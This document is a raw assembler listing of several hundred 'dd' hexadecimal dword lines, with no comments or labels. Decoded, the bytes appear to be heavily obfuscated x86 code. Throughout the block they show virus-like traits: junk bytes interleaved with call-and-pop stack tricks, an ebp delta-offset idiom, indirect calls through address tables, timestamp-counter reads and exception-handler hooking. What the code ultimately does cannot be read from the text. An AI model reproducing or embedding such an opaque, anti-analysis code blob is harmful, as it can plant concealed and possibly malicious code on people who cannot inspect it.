dd 59531A89h, 53044289h, 5F5F5253h, 0D9958D5Eh, 89093528h
dd 3528658Dh, 891A8909h, 352E259Dh, 4428909h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1CC35141h, 6F4F318Ah
dd 58D89AEh, 89093508h, 35305DB5h, 0ACE909h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0D75094C3h, 6800F61h, 23000000h, 35229DB5h, 0F006A09h
dd 588h, 0DF816600h, 5ABE9E60h, 6A75718Bh, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 2B6D59FBh, 66006A81h, 6AF88Bh, 27F18166h, 8195FFBBh
dd 0BF09350Ch, 22B71C14h, 55006AC3h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0FBCD32DEh
dd 10E9D6h, 0F1D60000h, 6AF7BFB5h, 3E455A96h, 0AFDE55DDh
dd 0C58A1C9Fh, 0F7816650h, 8B5EDE0Ah, 6AC08BCEh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0C5BDC352h, 932F3949h, 89D585E0h, 35026DB5h, 0A1BD8309h
dd 93526h, 0BD830975h, 9353079h, 50197400h, 0B8C08B53h
dd 438h, 2CA98589h, 9D8D0935h, 937B49Fh, 585BD3FFh, 3079BD83h
dd 74000935h, 0B8535017h, 438h, 2CA98589h, 9D8D0935h, 937B140h
dd 585BD3FFh, 0FF7BF0Fh, 0B81h, 6E900h, 82140000h, 6D567C7Ch
dd 38B0Fh, 0BF0F0000h, 8DC08BF0h, 35265985h, 5E809h, 74D40000h
dd 2BEFFDCDh, 35321DBDh
dd 0E8505F09h, 0Ah, 0D659F2ECh, 69689537h, 0FBBF254Ah
dd 5F3AA13Fh, 66240489h, 6ADE8Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 1BC35141h, 0A663D26Ah, 0BF0F5C9Bh
dd 2B006ADFh, 3513E99Dh, 0DE858D09h, 6A09393Dh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 663BC353h, 16019D0Bh, 0BD890935h, 93511E5h, 6605C083h
dd 624DF81h, 0FE8B6650h, 6A240489h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4D16C351h
dd 0CC11A4E6h, 6A9EBAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0FCC35747h, 35F4BBC2h, 2E0EBFF2h, 6A5F82h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 80C35545h
dd 1A8F279Ah, 0D9C7813Dh, 6614F3B1h, 673DF781h, 33195FFh
dd 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 65CED2C3h, 8D4A71A7h, 389AAB8Dh, 14F78009h
dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 0FCF771C3h, 1F8C0Fh, 14E80000h, 0F5000000h
dd 74334DE5h, 0BB0EB692h, 0CCA31930h, 7AC67C8Ch, 66442799h
dd 0EDC4DB81h, 19BD835Bh, 109351Ch, 0BE850Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 82E20C3h, 160CF0B5h, 24D1BD89h, 8B660935h, 6A026ADAh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0B9B4C350h, 4C65E55Dh, 0C1B5899Ch, 66093531h
dd 9B7BF381h, 11E9h, 4E538400h, 93A57385h, 559FBE36h, 0EACF0818h
dd 60906FEDh, 890F53h, 5A000000h, 5061FC8Ah, 8B666060h
dd 0F5250D6h, 61585A31h, 6A9061h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 0BB7ED3C3h, 81E1E1C0h
dd 0F8DD3ACBh, 5195FF12h, 66093511h, 0BE93EF81h, 0EF1E9h
dd 0E800h, 815D0000h, 393DE8EDh, 0A323BB09h, 858D1BEAh
dd 938932Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 0EFC35141h, 519D8B77h, 8B09350Dh, 3512D59Dh, 4895009h
dd 64D88B24h, 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0B87AAFC3h, 58208AA5h
dd 25896484h, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 57C35646h
dd 1AE0029Eh, 13922BC8h, 89536027h, 3515FD8Dh, 0BD8B5A09h
dd 93527D1h, 985FF61h, 0F093530h, 68Dh, 49BD8B00h, 6A093532h
dd 0FFD88BFFh, 352E9DB5h, 0C59D8B09h, 0FF09350Fh, 352EB995h
dd 0DFE909h, 8B660000h, 853360D8h, 9353319h, 0A45B58Bh
dd 0B0610935h, 9DBD2B00h, 23093506h, 3500759Dh, 2970E609h
dd 352F258Dh, 6671E409h, 0F368DF81h, 830F613Ch, 0A9h, 0F059D8Bh
dd 0B60F0935h, 6BAC8h, 8BF90000h, 890FC1h, 0C1000000h
dd 8D8904E8h, 9351051h, 66E2F766h, 0C82BD88Bh, 0BE8h, 3E71D300h
dd 0ABD06F51h, 465F0808h, 5BFEBF0Fh, 0BF0FD18Bh, 5E9DFh
dd 81660000h, 8BE46FDBh, 3531B185h, 0DFB70F09h, 6607C083h
dd 83DD67BFh, 0B58900C0h, 9350F69h, 830FD03Bh, 9, 38E9h
dd 0B3BB6600h, 0F98D8BD9h, 8A09350Ch, 1E183F8h, 23840Fh
dd 9D890000h, 9353341h, 0CF9A583h, 81FE0935h, 61F891DFh
dd 89D88B24h, 3531B195h, 0DEBF0F09h, 0E9h, 0BEB58D00h
dd 6A0938CEh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0B5EDC350h, 5B676743h, 0EB816686h
dd 0BD33632Eh, 93502F9h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 70A254C3h, 99E188A1h
dd 8B60A5BCh, 3528518Dh, 61CA8B09h, 2B3D9589h, 95FF0935h
dd 9350829h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 33C35141h, 330CFB73h, 1BC5B589h, 8DB90935h, 0E9000007h
dd 7, 261A9EDFh, 83AB8FBEh, 6AFCE1h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 9D328EC3h
dd 8BFF84C8h, 3528D1BDh, 0DF80FC09h, 0B83Ch, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0C568D1C3h, 0BE0A3076h, 88A0F0Bh, 0F000000h, 287h, 2BF88B00h
dd 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 9A618DCBh, 0CE145DCEh, 33AD33F7h, 3E8D1C2h
dd 4E983D0h, 0BD33F475h, 9352425h, 6029F380h, 880D61h
dd 958B0000h, 9351629h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 81C35545h, 8D8B5856h, 935287Dh, 50F88B66h
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0CF9D635Fh, 69CF8060h, 169D958Bh, 66610935h, 6A656FBFh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 0B5ACC351h, 0BD83F78Ch, 9351249h, 91840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0A560C357h, 0E9288822h, 0Bh, 53856EBFh
dd 51A10BF9h, 0B82B14E8h, 0
dd 5850Fh, 42BF0000h, 8D083234h, 354C028Dh, 52006A09h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0E61C5958h, 33299D89h, 0E1FF0935h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 33C35545h, 699D3352h, 5F093525h
dd 2255BD83h, 0F000935h, 50484h, 0D99D8B00h, 89093529h
dd 35004995h, 55BD8309h, 1093522h, 506840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 30C3F1C3h, 0A4F8D291h, 0E7819A73h, 8727B70h, 2255BD83h
dd 0F030935h, 49986h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 134DC579h, 60F9AAC8h
dd 1631F381h, 8C66764Ch, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 80ACBFA4h, 0BE804E1h
dd 0DB000000h, 0F5C00FE4h, 0D1102FA0h, 5252D85Bh, 0A5B5B5Bh
dd 63840FC9h, 66000001h, 8B6A84BFh, 352B6185h, 50006A09h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0F687D890h, 0E738CF81h, 9D332019h, 93516A9h, 0BF0F6051h
dd 0C1BF0FC2h, 85335F61h, 9350D7Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 77C35747h, 9412FB49h, 0F8BF0FA7h
dd 26BB6690h, 8D0F5008h, 0Ch, 0DCBF6660h, 0F525080h, 61585A31h
dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 66FB16BBh, 6A830FBBh, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 88BE09ABh
dd 0F5EE9174h, 8D89236Eh, 9352D41h, 4E8h, 1F03FF00h, 50BF6600h
dd 0FE95030h, 4A000000h, 5D2F2338h, 8659824Bh, 51028955h
dd 448B77CBh, 8B0424h, 4244489h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 66D3C39Ah
dd 0A182DB81h, 0CDD95FFh, 0D7B30935h, 0B76F8589h, 820F0938h
dd 6, 0C099D8Bh, 41E90935h, 6A000002h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0C49AC351h
dd 88C5858h, 858BC3D3h, 938B767h, 220D9501h, 0DE90935h
dd 22000000h, 0DA3EB89Dh, 0CB6F128Ch, 63770545h, 1800C7h
dd 0BD290000h, 9352C51h, 0B76BB58Bh, 6A0938h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0B87043C3h
dd 4518081Bh, 39D9D89h, 858B0935h, 93524D5h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A3C35747h, 0D147189Ah
dd 85BB6640h, 6E93Dh, 19020000h, 94A6122Dh, 6A0689h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 2C32F7C3h, 4995898Fh, 8B093505h, 352B6185h, 53006A09h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0FB6E5D38h, 0F4D381F9h, 52077B44h, 2E30D8BFh, 46895F65h
dd 0FE904h, 891C0000h, 5AB0B1Bh, 4499D95Dh, 0AFEF5FE7h
dd 348950A6h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 8465AD20h, 265FA83Ah, 0B767B5FFh
dd 6A0938h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 8C9E39C3h, 9575616h, 198B0Fh, 14E90000h
dd 66000000h, 6A0BCCB0h, 0C8805DE2h, 3276EB1h, 0B44A7E80h
dd 68969443h, 0C5DC6063h, 2650BB66h, 9C240481h, 6A3A42A3h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 53BCC352h, 0B82E1046h, 2B6499B9h, 8DD8B70Fh
dd 38B76F85h, 68C0F09h, 89000000h, 351EBD95h, 11E89009h
dd 2D000000h, 9ADDF587h, 921E0552h, 72F267A8h, 0B7869B60h
dd 0F525060h, 8B585A31h, 505B61CAh, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 95FF3C38h
dd 9350CDDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0FFC35343h, 0F8BF0FBFh, 50006A61h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0B739814Fh
dd 0FECB8166h, 5585C772h, 3093522h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0EC57C356h, 8F43DDB4h, 83A7DB80h, 38B76FBDh, 840F0009h
dd 4Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
dd 94C35747h, 961A2E02h, 0E80B6ACAh, 14h, 3186FD1Ah, 89CE0EB3h
dd 17633915h, 71A287C4h, 0BFE44BFFh, 3225BD8Bh, 0E95B0935h
dd 21h, 0B7DBD89h, 30500935h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 0BE9C0h, 1A770000h, 0FD693555h
dd 27B4CE93h, 0E38166F9h, 6A5B74h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 19E3ADC3h, 9D8B0FACh
dd 93527E9h, 28AD8D89h, 0BD830935h, 9352255h, 0EB850F03h
dd 83000004h, 38B76FBDh, 840F0009h, 4DEh, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 19h, 0A7C35242h, 702F0003h
dd 0BD295774h, 9350495h, 37BF665Bh, 6FB5FF33h, 6A0938B7h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 932FC353h, 860F85E0h, 6, 0FF5BD8Bh, 95FF0935h
dd 9352E11h, 68D0Fh, 0B5890000h, 935279Dh, 0B763B58Bh
dd 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0B53127C3h, 9352859h, 106C7h, 6A0001h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 120D6DC3h, 0E1BD8B46h, 89093513h, 352E159Dh, 8B665009h
dd 243489F9h, 0B5FFF5B7h, 938B76Fh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 0DFC35646h, 70348A31h, 8BEAF043h
dd 353261BDh, 8995FF09h, 6A093502h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0A10FC357h
dd 731F436Dh, 3349BFA7h, 6870Fh, 9D890000h, 9350161h, 0B763B58Bh
dd 6A0938h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0C636CBC3h, 0EAC0DE8Ch, 2FB1BF66h, 0E99858Bh
dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 0ED057BC3h, 86898F10h, 0C4h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 65C35242h, 0B04454AAh
dd 3DAE4EDAh, 81DF8B87h, 0F4B970D3h, 29958B57h, 8B093516h
dd 352C599Dh, 4C28309h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 0DEC35242h, 0E9DF8B66h, 7, 9D1F4D19h
dd 89116E93h, 820F2050h, 6
dd 3311BD29h, 858D0935h, 938CC07h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0AAC35545h, 0B8868922h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0F112C355h, 0BC0F0B9h, 3511419Dh, 6A006A09h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 8914C357h, 351F3D9Dh, 7D952909h, 23093508h
dd 35248D9Dh, 6FB5FF09h, 6A0938B7h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0C5AEC352h
dd 5195FFFCh, 2B093511h, 350185BDh, 9D296009h, 9350C15h
dd 0F79BD8Bh, 50610935h, 10860Fh, 0BE90000h, 46000000h
dd 464C47CDh, 940CCE1Bh, 34899BC9h, 0EE924h, 62280000h
dd 47EBAED4h, 2685D34Ah, 0D1015957h, 118C0Fh, 5E80000h
dd 3D000000h, 46D6809h, 2B919D8Bh, 0FF5F0935h, 38B76FB5h
dd 0D99D8B09h, 0FF093522h, 350B5595h, 51006A09h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 5F44D163h, 0CF1BD8Bh, 800F0935h, 6, 1DE19D8Bh, 880F0935h
dd 6, 2F2D9D8Bh, 0BD830935h, 9350079h, 80840F00h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 1C8AC355h, 0AB0B1B89h, 0D88B5D05h, 2EA19D8Bh
dd 53960935h, 13E9505Bh, 0BF000000h, 2D8A596h, 1336DECAh
dd 34AC908Bh, 352AF542h, 6A961D48h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0ACDCC352h
dd 34C35560h, 2FE4FB4Bh, 66D78B60h, 0E961F98Bh, 7, 0FEEE580Ah
dd 0FF37387Eh, 38B76FB5h, 0E6C38009h, 1C3595FFh, 6A0935h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 157556C3h, 9D8B819Dh, 9351EE5h, 0DF8B66F5h, 0B76FB5FFh
dd 0FA8B0938h, 2CE595FFh, 6A0935h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0D82C35C3h, 5BD8Bh, 73BF0935h
dd 835AE1B7h, 3526BDBDh, 840F0209h, 45h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 19h, 9C35242h, 2811C860h
dd 0AD858B2Ah, 81093526h, 0B35012C7h, 0C639h, 10E9h, 0CB823D00h
dd 0CBF50D4Eh, 75A545ABh, 2CCB3822h, 6585C796h, 93532h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 5C55C353h, 0BF660D6Ah, 0E95778B2h
dd 5, 0E932E291h, 8E95BAEh, 6AFFFFF2h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 988EC353h
dd 0A808F0Dh, 79376A6Eh, 0A2F78166h, 0E9C18BEBh, 0Ah, 0CE0C480Eh
dd 292A317Fh, 858DF90Ch, 9352659h, 4759531h, 66900935h
dd 509F79BBh, 0B79031B7h, 0B3006A22h, 6A006A54h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 6668C357h, 87DFB1FBh, 0D8B70FD7h, 4ED5858Dh, 6A0939h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 7D0958C3h, 1F7C13A1h, 0F998432h, 684h, 0B59D8B00h, 60093516h
dd 2865858Bh, 0DB10935h, 5C08361h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0FBC35242h, 15393F35h, 8589B6A9h
dd 9350295h, 0BF665350h, 895F738Fh, 6A2404h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0A2C0E6C3h
dd 9FA25DA4h, 89032F29h, 350811B5h, 6A006A09h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 0E9D0C355h, 0Ah, 81579E12h, 399E1C71h, 6A68E6h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0E0C35040h, 0BF07536Bh
dd 387E43F9h, 33195FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 0B4FD50C3h, 8739316Ch
dd 8D8D0181h, 9389AABh, 0D1FF7AB7h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 94C35141h, 8352B3E4h, 351C19BDh
dd 850F0109h, 6Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 69C35141h, 440961FAh, 26A6FB7h, 7E990h
dd 3330000h, 86EAEE2Ch, 27B35020h, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0D3CD1A7Fh
dd 0A9F6FE36h, 0DF811F11h, 69EDC867h, 115195FFh, 97BB0935h
dd 0E9475C03h, 0D84h, 0E8h, 0ED815D00h, 9394EDFh, 878BF66h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EAC35747h
dd 858DAFB2h, 938932Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 6CC35141h, 525A856Fh, 4AD0A8C5h, 2C01BD8Bh
dd 89500935h, 66562404h, 645BDA8Bh, 35FFh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 3558D7C3h, 7E3B7BFEh, 5FF55253h, 258964h, 89000000h
dd 35107595h, 985FF09h, 8B093530h, 352E65BDh, 6AFF6A09h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 2B2BC352h, 792C8457h, 0B5FF978Dh, 93506B5h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 6FC35141h
dd 840FCAADh, 15h, 5E8h, 2FC8FE00h, 5E90368h, 2B000000h
dd 8540211Ah, 0B995FF5Bh, 0E909352Eh, 129h, 0A5B58960h
dd 2909352Ah, 351E8D95h, 0B06109h, 5E850h, 0E7610000h
dd 17D1792h, 3517758Dh, 0BF5B5F09h, 400110A0h, 665370E6h
dd 117ECF81h, 6671E45Bh, 0C441D381h, 830F613Ch, 0E9h, 17999D8Bh
dd 0B60F0935h, 0E1B7BFC8h, 6BA58ABh, 0E9000000h, 8, 38351AD7h
dd 0AD42E34h, 9D8BC18Bh, 9352C45h, 0DE960h, 0FB8E0000h
dd 93215FD9h, 0AEC55032h, 8BD77B8Ah, 0E8C161C2h, 0F19D2B04h
dd 8B09352Bh, 350599BDh, 0E2F76609h, 5E8h, 0F1153100h
dd 8D89933Ah, 935031Dh, 0B7C82B5Bh, 0E9D18BF2h, 9, 0B50BF860h
dd 93521E9h, 65858B61h, 53093526h, 7F4B09BBh, 0F98B5F6Ch
dd 5707C083h, 835FDA8Ah, 0B70F00C0h, 0FD03BFFh, 0E83h
dd 4AE9F900h, 8A000000h, 618D29F8h, 8B093522h, 352CED8Dh
dd 0BB5F5309h, 790B3799h, 0F01E183h, 2C84h, 518D8900h
dd 5009352Fh, 1161BD09h, 835F0935h, 352CEDA5h, 8D09FE09h
dd 93506C9h, 26659589h, 0B5890935h, 9351BE9h, 0E9h, 22B58D00h
dd 890938D8h, 3510E18Dh, 6A006A09h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A30EC351h
dd 8ECAD25Bh, 0AABF66B5h, 2995FF1Ah, 89093508h, 352779B5h
dd 0F06B909h, 0B70F0000h, 0FCE183DFh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 80C35343h, 0BF0FFA8Bh, 8589FCD8h
dd 9350CF1h, 0B8h, 118D0100h, 60093508h, 5A5ABB66h, 0BA61h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 50D327C3h, 0D1C233ADh
dd 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 12C35545h, 6A7FCD8Eh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0BAACC352h
dd 804892FEh, 0D5C51CDh, 88h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0ACC35141h, 29958BF9h, 8B093516h
dd 35287D8Dh, 75BD0109h, 50093504h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 9BADA61Dh
dd 7BA9D0DDh, 85297D8Ch, 9352D09h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 0B0C35545h, 0F96DC0Fh, 0BD83F9B7h
dd 9351249h, 42840F00h, 0B8000000h, 0
dd 9D896053h, 935229Dh, 0DD99529h, 5B610935h, 4C028D8Dh
dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 0DCFBA3C3h, 0E680DBC2h, 0C780E1FFh, 55BD83DEh
dd 93522h, 468840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 90DAEAC3h, 8B66EEC5h
dd 55BD83F9h, 1093522h, 453840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 5A4010C3h
dd 9EE5ACCFh, 8529FE8Ah, 9350E41h, 2255BD83h, 0F030935h
dd 3E686h, 6A6000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 220240C3h, 0F24E564Fh, 60D98C66h
dd 8E9h, 4417E300h, 2857BF55h, 0E1806120h, 0A0FB704h, 72840FC9h
dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0C322C352h, 8A339B9Bh, 199D894Eh
dd 8B093508h, 352B6185h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 0B7AEDA10h, 7D85331Dh
dd 0F09350Dh, 0E850DABFh, 0Eh, 88CFF61Ch, 0A84299AFh, 4551F4B7h
dd 0BB66F1E3h, 895BA268h, 8D092404h, 9350351h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 698402C3h, 7A8D5A8Eh, 0F0A31E68h, 8E8FAh, 0D0080000h
dd 954A396Ah, 5250FB8Dh, 3FEFBF66h, 585A310Fh, 2404815Bh
dd 52E60E1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 18C35141h, 0FFD2258Ah, 350CDD95h, 50006A09h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 9895E7AAh, 1677B7Ah, 3533059Dh, 6F858909h, 8B0938B7h
dd 3530B9BDh, 1F6E909h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 584719C3h, 81662C05h
dd 0E8C5B5DBh, 0Fh, 0EACC61C7h, 12AD9ECh, 0DFD5CDBCh, 608F679Bh
dd 0E9F6BF0Fh, 0Fh, 6B1210DAh, 0F671BA5h, 3DFC382Dh, 61ED015Dh
dd 67858B5Fh, 6A0938B7h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 0A5C0C353h, 8BECD780h
dd 350D099Dh, 0E9BD8B09h, 0C709351Ah, 1800h, 21BD8B00h
dd 8B093529h, 38B76BB5h, 0FBD78109h, 8B3E3A63h, 3524D585h
dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 0F3E4BF2Ch, 9C5F1EA8h, 0DA8B667Fh, 6A0689h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0E6541CC3h, 61858B9Dh, 6A09352Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 6D20C355h
dd 9780F8Ch, 0C59BF55Dh, 66044689h, 1319CF81h, 0BCBF6650h
dd 2434899Eh, 6DF8166h, 67B5FF2Fh, 6A0938B7h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0DF10C353h, 0E29F95ACh, 0EE8FC40h, 0C8000000h, 753C6240h
dd 46543C33h, 17AC41D3h, 0CF8166E7h, 295F35B2h, 352E058Dh
dd 4E809h, 3FF0000h, 6656001Fh, 505BD98Bh, 0FEFEBF66h
dd 424448Bh, 0CE9h, 6DA8B800h, 9F676B44h, 4EA91D44h, 89008B03h
dd 8B042444h, 0BD8B58FAh, 9352851h, 0B76F858Dh, 870F0938h
dd 6, 0BC19D8Bh, 0F500935h, 2086h, 14E800h, 275F0000h
dd 0F41CA7BAh, 2FC4FFA4h, 195556B4h, 3B7D8BDEh, 52509F68h
dd 585A310Fh, 2404895Fh, 0B35BD8Bh, 95FF0935h, 9350CDDh
dd 76AABB66h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 129C4440h, 0E9CC081Fh, 0Ah, 9DFABD69h
dd 0C1470880h, 895353E9h, 352EB59Dh, 85C75F09h, 9352255h
dd 3, 0BD83F98Bh, 938B76Fh, 3C840F00h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 7BFFC353h, 1372970Ah, 2A55BD8Bh, 5E90935h, 8000000h
